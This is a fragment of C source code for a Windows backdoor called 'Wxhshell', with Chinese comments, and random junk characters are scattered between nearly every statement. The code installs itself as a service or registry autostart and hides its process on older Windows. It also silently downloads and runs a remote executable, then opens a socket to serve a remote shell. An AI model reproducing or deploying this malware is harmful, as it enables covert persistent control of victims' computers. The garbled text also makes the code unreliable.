g/` char procName[255]; QzthTX< unsigned long cbNeeded; .>]N+:O OVs wt if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R^P_{_I*" 8$}OS- CloseHandle(hProcess); Oif,|: #*,sa if(strstr(procName,"services")) return 1; // 以服务启动 :oa9#c`L Y<LNQ]8\G return 0; // 注册表启动 N z~"vi(t } AcC8)xRpk4 O&$0&dhc // 主模块 a8s4T$ int StartWxhshell(LPSTR lpCmdLine) <_:zI r, { kRot7-7I| SOCKET wsl; +d39f-[ BOOL val=TRUE; E
$6ejGw- int port=0; 0Nr\2| struct sockaddr_in door; kuS/S\Z5K 3Gd0E;3sk~ if(wscfg.ws_autoins) Install(); T*P+Fh" wO!u!I port=atoi(lpCmdLine);
BGqa-d i\p:#'zk5 if(port<=0) port=wscfg.ws_port; Q4K+*Fi} {Y_Nj`#BT WSADATA data; nj2gs,k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h>3H7n. Hj~O49%j& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OM!=ViN(= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I;j3*lV_ door.sin_family = AF_INET; ^ d\SPZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); E`AYee%l door.sin_port = htons(port); 3N<&u }kPVtSQ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;CmOsA,1 closesocket(wsl); 4lz{G*u return 1; J{~Rxa } 9S1#Lr`r t[2i$%NVM if(listen(wsl,2) == INVALID_SOCKET) { zj20;5o>U& closesocket(wsl); xo~g78jm7, return 1; u!1/B4!'O } B8~=RmWLl Wxhshell(wsl); `&g:d E(j WSACleanup(); yJ/#"z=h? #s+Q{2s return 0; |I1+"Mp 6tdI6 } $Jf9;. r/AHJU3&eY // 以NT服务方式启动 GZ3/S|SMP VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CW0UMPE5 { :s*>W$Wp4 DWORD status = 0; >L[lV_M_> DWORD specificError = 0xfffffff; C1QWU5c v ZvH{wt
serviceStatus.dwServiceType = SERVICE_WIN32; OoaY serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~ hm`uP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sv=H~wce serviceStatus.dwWin32ExitCode = 0; n\ Uh serviceStatus.dwServiceSpecificExitCode = 0; D# v?gPo4 serviceStatus.dwCheckPoint = 0; 0Hcbkep9D serviceStatus.dwWaitHint = 0; n\= (S9 4VFc|g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oh\1>3,Ns if (hServiceStatusHandle==0) return; Bp3L>AcVu A,c'g}: status = GetLastError(); Y:pRcO.4g if (status!=NO_ERROR) :_H>SR: { Jsn <,4DO8 serviceStatus.dwCurrentState = SERVICE_STOPPED; ]kS7n@8 serviceStatus.dwCheckPoint = 0; q^Inb)FeN serviceStatus.dwWaitHint = 0; `d*b]2 serviceStatus.dwWin32ExitCode = status; ,!>fmU`E4 serviceStatus.dwServiceSpecificExitCode = specificError; a:u}d7T3e SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]u=Ca#!' return; j9xXKa5 } lzfDH=& AZwa4n}" serviceStatus.dwCurrentState = SERVICE_RUNNING; ZQ[~*) serviceStatus.dwCheckPoint = 0; Wc;+2Hl[@ serviceStatus.dwWaitHint = 0; F=i!d,S if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NI\H
\#bJ } EcW1;wH *V|zx#RN // 处理NT服务事件,比如:启动、停止 p7UTqKi VOID WINAPI NTServiceHandler(DWORD fdwControl) @L;C_GEa { k7Oy5$## switch(fdwControl) Jpx'W { e?<D F.Md+ case SERVICE_CONTROL_STOP: B] i:) serviceStatus.dwWin32ExitCode = 0; M(5D'4. serviceStatus.dwCurrentState = SERVICE_STOPPED; /{we;Ut=g serviceStatus.dwCheckPoint = 0; /*P7<5n0 serviceStatus.dwWaitHint = 0; -f.R#J$2 { .Cr1,Po SetServiceStatus(hServiceStatusHandle, &serviceStatus); &<h?''nCy } DV,DB\P$ return; Jvj=I82 case SERVICE_CONTROL_PAUSE: GCH[lb>IJv serviceStatus.dwCurrentState = SERVICE_PAUSED; rfTe break; XnY"oDg^> case SERVICE_CONTROL_CONTINUE: ]) n0MF)p serviceStatus.dwCurrentState = SERVICE_RUNNING; o? dR\cxj break; la702)N{ case SERVICE_CONTROL_INTERROGATE: BD'NuI break; hbnS~sva }; !KDr`CV& SetServiceStatus(hServiceStatusHandle, &serviceStatus); +H}e)1^I } D3.VXuKn6 V}:'Xgp*N // 标准应用程序主函数 ;eh/_hPM int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [;@):28" { " $=qGHA~ (}0S1)7t // 获取操作系统版本 cY~M4:vgT OsIsNt=GetOsVer(); OPiaG!3< GetModuleFileName(NULL,ExeFile,MAX_PATH); M.[wKGX( J@<!q // 从命令行安装 bK7.St if(strpbrk(lpCmdLine,"iI")) Install(); {F!v+W> u _X}-U // 下载执行文件 @+t (xCv if(wscfg.ws_downexe) { \n(ROf^' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ai^t=
s WinExec(wscfg.ws_filenam,SW_HIDE); y.ql#eQ, } .C?GW1[c~@ 4d-q!lR pa if(!OsIsNt) { uk6g s)qxC // 如果时win9x,隐藏进程并且设置为注册表启动 0BFz7 HideProc(); %/%gMRXG2 StartWxhshell(lpCmdLine); <Wf0QO, } )JX$/-
RD- else H9E(\)@ if(StartFromService()) R8uj3!3^ // 以服务方式启动 ~#t*pOC5BR StartServiceCtrlDispatcher(DispatchTable); kF2Qv.5! else ^$}/|d( // 普通方式启动 |hD~6a StartWxhshell(lpCmdLine); cIZ[[(Db mQ=sNZ-d] return 0; #%WCL'6B }
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